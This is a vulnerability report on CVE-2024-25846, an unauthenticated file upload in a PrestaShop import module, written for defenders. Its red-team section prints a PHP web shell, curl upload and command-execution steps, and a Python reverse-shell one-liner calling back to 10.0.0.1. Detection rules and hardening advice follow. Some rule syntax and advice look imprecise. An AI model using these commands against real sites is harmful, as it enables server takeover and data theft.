CVE-2024-25846

Executive Summary

CVE-2024-25846 is a critical unauthenticated arbitrary file upload vulnerability found in the MyPrestaModules "Product Catalog (CSV, Excel) Import" module (simpleimportproduct) for PrestaShop, affecting versions up to and including 6.7.0. The vulnerability allows any guest user to upload files with a .php extension, leading to remote code execution (RCE) on the underlying web server. This flaw is particularly dangerous because it requires no authentication and can be exploited by anyone with network access to the PrestaShop instance. The module is designed to import product catalogs, but its file upload functionality fails to properly validate file extensions, allowing an attacker to upload a malicious PHP web shell. Once uploaded, the attacker can execute arbitrary system commands, access the database, deface the site, or pivot to internal networks. The vulnerability is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type) and is mapped to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No official patch has been released by the vendor at the time of this analysis, making it imperative for administrators to disable or remove the module immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Guest users can exploit.
• User Interaction: None (UI:N) – No victim action needed.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full database and file access.
• Integrity Impact: High (I:H) – Complete site defacement or data manipulation.
• Availability Impact: High (A:H) – Full server compromise leading to denial of service.

Threat Level: Critical. The combination of no authentication, low complexity, and high impact makes this a top-priority vulnerability for any PrestaShop site using the affected module.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of the simpleimportproduct module. PrestaShop modules often provide an interface for administrators to import product data via CSV or Excel files. However, in this module, the file upload endpoint does not restrict the file extension to only .csv or .xlsx. Instead, it accepts any file extension, including .php. The uploaded file is stored in a web-accessible directory (typically /modules/simpleimportproduct/upload/ or similar), allowing direct access via HTTP.

The core issue is a lack of server-side validation. While client-side checks may exist, they are easily bypassed. The module likely uses a simple move_uploaded_file() function without checking the file's MIME type or extension against a whitelist. An attacker can craft a PHP file containing a web shell (e.g., <?php system($_GET['cmd']); ?>) and upload it using a standard HTTP POST request to the vulnerable endpoint.

Attack Flow:

1. Identify the vulnerable endpoint (e.g., /modules/simpleimportproduct/upload.php or a controller action).
2. Send a POST request with a file parameter containing a .php file.
3. The server stores the file in the upload directory.
4. Access the uploaded file via its URL (e.g., /modules/simpleimportproduct/upload/shell.php).
5. Execute commands by appending parameters (e.g., ?cmd=id).

The vulnerability is exacerbated by the fact that PrestaShop often runs with high privileges (e.g., www-data), giving the attacker full control over the web application and potentially the server.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common secure coding practices.

Vulnerable Code (Conceptual):

// In upload.php or similar
if (isset($_FILES['file'])) {
    $upload_dir = _PS_MODULE_DIR_ . 'simpleimportproduct/upload/';
    $filename = basename($_FILES['file']['name']);
    move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . $filename);
    echo "File uploaded successfully.";
}

Patched Code (Conceptual):

// In upload.php or similar
$allowed_extensions = ['csv', 'xlsx', 'xls'];
if (isset($_FILES['file'])) {
    $upload_dir = _PS_MODULE_DIR_ . 'simpleimportproduct/upload/';
    $filename = basename($_FILES['file']['name']);
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    if (!in_array($ext, $allowed_extensions)) {
        die("Invalid file extension.");
    }
    // Also check MIME type
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
    finfo_close($finfo);
    $allowed_mimes = ['text/csv', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'];
    if (!in_array($mime, $allowed_mimes)) {
        die("Invalid file type.");
    }
    move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . $filename);
    echo "File uploaded successfully.";
}

The patched version whitelists allowed extensions and validates MIME types, preventing the upload of PHP files.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Install PrestaShop (e.g., version 8.x) on a local server (e.g., using Docker or XAMPP).
• Install the vulnerable module simpleimportproduct version 6.7.0.
• Ensure the module is active and accessible.

Exploitation Steps:

1. Identify the upload endpoint: Use a tool like Burp Suite or curl to explore the module's pages. The endpoint is often /modules/simpleimportproduct/upload.php or a controller action like /module/simpleimportproduct/upload.

2. Craft a malicious PHP file:

   <?php
   system($_GET['cmd']);
   ?>
   

   Save as shell.php.

3. Upload the file using curl:

   curl -X POST -F "file=@shell.php" http://target.com/modules/simpleimportproduct/upload.php
   

4. Access the uploaded shell:

   curl http://target.com/modules/simpleimportproduct/upload/shell.php?cmd=id
   

5. Escalate privileges: Use the web shell to explore the server, dump database credentials, or spawn a reverse shell.

Example Reverse Shell (using Python):

curl "http://target.com/modules/simpleimportproduct/upload/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

Blue Team (Defensive)

Detection Steps:

1. Monitor file uploads: Look for files with .php extension in the upload directory of the simpleimportproduct module.
2. Check web server logs: Search for POST requests to /modules/simpleimportproduct/upload.php or similar endpoints.
3. Review file integrity: Compare the upload directory against a known good baseline.
4. Harden the server: Ensure the upload directory has noexec flag and is not directly accessible via the web (e.g., via .htaccess).

Immediate Mitigation:

• Disable or uninstall the module immediately.
• If the module is required, restrict access to the upload endpoint via .htaccess:

  <FilesMatch "upload\.php$">
      Require ip 127.0.0.1
  </FilesMatch>
  

• Remove any suspicious files from the upload directory.

Indicators of Compromise (IOCs)

• File Artifacts:

  • Files with .php extension in /modules/simpleimportproduct/upload/ (e.g., shell.php, cmd.php).
  • Unexpected files in the module's upload directory.

• Network Indicators:

  • POST requests to /modules/simpleimportproduct/upload.php with multipart/form-data content.
  • Subsequent GET requests to /modules/simpleimportproduct/upload/<filename>.php?cmd=<command>.

• Log Entries:

  • Apache/Nginx access logs showing POST /modules/simpleimportproduct/upload.php with a 200 response.
  • Error logs showing PHP warnings about move_uploaded_file().

• Behavioral Indicators:

  • Unusual system commands executed via web requests (e.g., id, whoami, ls).
  • Outbound connections from the web server to unknown IPs (reverse shell).

Detection Engineering

YARA Rule

rule CVE_2024_25846_WebShell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-25846"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25846"
    strings:
        $php_tag = "<?php"
        $system_func = /system\s*\(/
        $shell_func = /shell_exec\s*\(/
        $cmd_param = /\$_GET\s*\[\s*['\"]cmd['\"]\s*\]/
    condition:
        $php_tag and ($system_func or $shell_func or $cmd_param)
}

Sigma Rule

title: CVE-2024-25846 - Unauthenticated PHP File Upload in simpleimportproduct
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to the vulnerable upload endpoint of the simpleimportproduct module.
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /modules/simpleimportproduct/upload.php
    condition: selection
falsepositives:
    - Legitimate admin uploads (if module is used securely)
level: critical

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-25846 - Unauthenticated PHP File Upload in simpleimportproduct";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/modules/simpleimportproduct/upload.php";
    http_uri;
    content:".php";
    fileext;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2024-25846;
)

Remediation & Mitigation

Immediate Actions:

1. Disable or uninstall the module: Remove the simpleimportproduct module from the PrestaShop installation.
2. Scan for uploaded shells: Check the /modules/simpleimportproduct/upload/ directory for any .php files and remove them.
3. Review server logs: Investigate any suspicious POST requests to the module's upload endpoint.

Long-Term Fixes:

• Vendor Patch: Await an official patch from MyPrestaModules. If none is forthcoming, consider switching to an alternative import module.
• Web Application Firewall (WAF): Deploy a WAF rule to block file uploads with .php extension to the module's path.
• File Upload Hardening: Implement strict file extension whitelisting and MIME type validation in all custom modules.
• Principle of Least Privilege: Ensure the web server runs with minimal necessary permissions.

Configuration Hardening:

• Add the following to the module's .htaccess file to deny direct access to the upload directory:

  <Directory "/modules/simpleimportproduct/upload">
      Deny from all
  </Directory>
  

• Use a .php file in the upload directory to prevent execution:

  <?php
  header('HTTP/1.0 403 Forbidden');
  exit;
  ?>
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2024-25846